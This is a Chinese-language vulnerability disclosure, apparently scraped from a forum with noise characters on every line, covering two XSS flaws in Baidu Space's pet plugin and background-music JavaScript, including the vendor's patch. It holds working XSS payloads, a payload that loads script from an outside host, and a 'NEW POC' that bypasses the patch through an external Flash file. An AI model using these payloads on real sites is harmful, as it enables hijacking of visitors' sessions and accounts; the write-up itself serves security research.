百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
2 W1 B" b$ \$ ?0 P- H/ F2 T9 B/ A) e( R- E. j: `5 q+ d2 q
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. 4 P" ^. I, t4 p3 T0 [: g
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ! R$ @" N6 g6 e
, x, t: L+ T o! R. H4 G将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
: b' W& O7 S6 _! P* L: w! N其中BdUtil.insertWBR为 - y$ D2 C. Z8 f) c0 A- P* \% v% Q( A
function(text, step) { 8 F; Z1 t# E% H/ |+ n+ [# R
var textarea = textAreaCache || getContainer(); 7 q& [9 x' ~( x8 A. v+ R& ]
if (!textarea) {
5 n' @' @6 Z+ g z: y+ | return text; ) S* I y- u/ t+ o
}
/ _: ?' ^2 Q$ \% ] textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
3 T8 P2 u9 Z3 C/ X' J# [ C var string = textarea.value;
" s( X8 Q/ f0 C8 C9 o i) L/ w var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ; z2 M, A, A$ _
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
7 q' g# c o, X# E return result;
$ G5 c1 g" z& P/ E" U3 Z}
) E y9 D: u* `, F* [6 b7 y在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. & S0 X$ |& Y. z; q6 t3 ^# G
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
( M/ j7 \" [7 R9 L
9 J( J) c+ J0 G% P G# N二:creatbgmusic() Dom-Xss Bug
! V4 v4 \3 E( M/ ^2 O百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 7 ?. U$ u0 M% e/ p( C$ I
- Q7 {5 c! `: G% w8 }, h$ c在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
' Q8 o, B8 K$ \+ Y {/ R- M% _+ H% u2 Z& O9 G" `! O0 W# a3 Q
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
4 I8 }$ X; J/ b1 c' [) e. e4 B' D //传入的murl赋值到bgmusic1和bgmusic2中
8 v Q( l$ [2 {+ x //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
8 o4 Q7 v$ t0 l* b4 T; A var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 9 N6 L: V! p" {4 g& |) n6 c: v
if (musicnum <= 1) { ) ~0 ^0 e, ^* t3 ~; I
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
$ W r L' ~, P) b" V }
9 K. F- @# U' ]. F9 F bgmusic1 += "</OBJECT>"; i/ b) U8 s5 k& a8 G* c
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 3 S' w( ]8 K% x5 n
if (musicnum <= 1) {
0 ]# ~: G2 T0 w2 X bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
0 ~9 [* q2 [) W: }& ]) e* ?5 {* c } ! h, w9 V3 j0 {! B# C
bgmusic2 += "> </EMBED>";
- m, V" Y) [/ ] var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
! y7 q' V2 a! U+ c4 S E& I var bgmus = detectWMP(); 3 d$ i& i5 Q+ O. C; M8 N5 ^
if (functype == "FckMusicHelper") {
$ f+ F! f/ a7 u, K, A& L0 f* h if (bgmus.installed) { 2 m \/ P' m/ G$ C# n
if (bgmus.type == "IE") {
( W ~: |3 M- }+ p8 [- ?7 \9 G return bgmusic1; 1 z* N+ Q% T: t, M$ |
} else if (bgmus.type == "NS") { ; ` d9 c4 J. F% L5 M
return bgmusic2; . j1 l y2 f# u& a! H( L
}
a2 H$ C, `$ n6 u J2 B) q5 M } else { : _. O0 p, t' ~, N. P
return bgmusic3; & V, G& b4 k$ _5 G
} ( u4 q% _8 \, Z
} else { 9 n$ s! h2 t! w, ~! t
if (bgmus.installed) { 8 _4 e- [9 p" |, t+ S
//document.write 直接输出bgmusic变量 导致xss
# A) D+ o/ C* Q! O* ]; r if (bgmus.type == "IE") { % U# \. L! i* r9 J; l
document.write(bgmusic1);
: a0 c2 M# f6 O+ m% B$ ? } else if (bgmus.type == "NS") {
4 Z, k6 S) Y* M. [) S- \" H" @ document.write(bgmusic2);
: ~: f; U, K: D7 ]3 C/ ` } & C3 v/ \+ `3 T' A, b; k; {
} else { 0 `; H% M2 A( ]$ E& T- m3 b
document.write(bgmusic3);
8 T: Q/ Z; y2 l }
! Y) X5 E! u7 L( G9 g return "";
$ z4 c7 A$ y: G9 h! f0 L }
$ Y$ {2 d! i8 ^! m& O; Z} # W c' r5 f. X) _2 |
- O. \) ]1 i. @5 z在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
' g9 R& c$ C) P) N; S Y
& o: e7 }& |8 G" g+ Ufunction initBlogTextForFCK(){ ! g% z( s& ^1 a
//fck init music
/ T1 _7 E& K3 X0 jif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
+ f8 O$ N6 l* _' x; q+ ]var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
1 u% _) h) T/ T9 v" avar isAutoPlay=true; ! J. L2 [# i* a7 \
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. 9 t; B1 s* f" x/ V" W# ]
var img=imgBox; 8 w# T! v: a8 a2 B
if(img.getAttribute(’rel’)){ 1 P# O" d# Z, I8 H' F2 I+ |$ L
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
2 Z& P; k$ g9 g/ f: x* b var musicDiv = document.createElement("SPAN"); / U; i* f3 S9 T
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
# F' a8 j. b2 q/ }- F
9 u1 _! U/ d* O8 U .......................... 6 \7 }8 O( v3 C1 ^0 | X
+ c# C; P/ o! {% [: _& ?
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. ; m; u6 m" |9 j9 }
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" W- ^. \) ]$ j4 }6 u& @ shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 4 O) Q, s3 I& f
musicDiv.innerHTML=shtml;
# S* s7 g- [; y( G. Q* |+ W/ y i--;n--;
* \& n, o$ Z, m }
4 C T9 |- c' Z8 ^- Y$ H}
" T, d4 P6 M! ^9 g2 T. d0 m+ @+ n0 g1 c6 |
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
' E" h8 [# Y# J& F9 z
! @5 U1 x: f2 h2 E' s0 S测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
7 v. U( n9 e. C" V/ E- f' T% k+ ^7 J( N& W9 J: l3 Z$ u' Z
等待官方补丁 : ?, F0 J( k8 G0 K
9 \: S+ U9 r" A5 h, T6 H( fupdate 2010年5月13日 2 `' I7 m3 [8 i( ?$ l0 i" z- {6 u
. T! c2 W5 y Q官方补丁:
( Q! ^) ?: E. s8 _# }" i" W
) V0 U1 t3 }1 B! u6 qvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
1 k- C+ R2 E7 \' B3 E# s# E) P改为: / G+ w9 d1 F5 n4 a
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
2 o7 [/ h' S" F. k# Y. N$ k+ u S) Y2 r! y- h5 A- S
update 2010年5月13日 21:50:37 : A% V) T E$ M% _' H
8 v4 i- `. t+ \$ a/ Z补丁存在漏洞 没有过滤" 可以继续跨:
) n& T" e5 b" d9 E6 N' ? _+ t5 D. ]( s" d8 Z- p8 n6 O
NEW POC:
; R! e% F* d- a8 E+ b& X) h; b
) a6 ~8 {* e3 A<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
2 z+ G, D) I- m( ^# |7 k
7 p8 w) M+ v. e' [allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
9 @. \6 r( F+ `- k$ J / O9 o) V2 \9 w: O
|